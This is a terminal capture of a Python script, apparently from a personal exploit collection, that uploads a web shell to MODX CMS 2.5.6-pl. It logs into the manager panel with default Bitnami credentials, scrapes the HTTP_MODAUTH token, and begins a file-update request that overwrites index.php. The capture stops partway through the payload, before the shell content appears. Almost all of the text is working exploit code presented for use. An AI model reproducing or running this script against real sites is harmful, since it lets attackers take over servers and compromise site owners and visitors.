c@kali:~/src/Napalm2.2/libs$ cat shell-modxcms.py #!/usr/bin/env python # shell-modxcms.py - upload shell for modx 2.5.6-pl # # !! we need rwx in modx-webdir to go ;Z # # 30.05.217 @ code610 blogspot com # import requests import re target=raw_input("Hostname> ") print '[+] Preparing tests for ' + str(target) session = requests.session() sesslink = target + '/manager/' print '[+] Preparing login request...' data_login = { 'login_context':'mgr', 'modahsh':'', 'returnUrl':'/manager/', 'username':'user', 'password':'bitnami', 'login':'1' } data_link = sesslink doLogin = session.post(data_link, data=data_login) loginResp = doLogin.text if 'Logout' in loginResp: print '[+] We are logged in ;]' # grab HTTP_MODAUTH to build params for shelluprequest modlink = target + '/manager/?a=media/browser' getmod = session.get(modlink) getmodresp = getmod.text modfind = re.compile('auth:"(.*?)"') modfound = re.search(modfind, loginResp) if modfound: token = modfound.group(1) print '[+] Found HTTP_MODAUTH token:', token # preparing shellup req shell_data = { 'action':'browser/file/update', 'HTTP_MODAUTH':token, 'wctx':'', 'source':'1', 'file':'index.php', 'content':'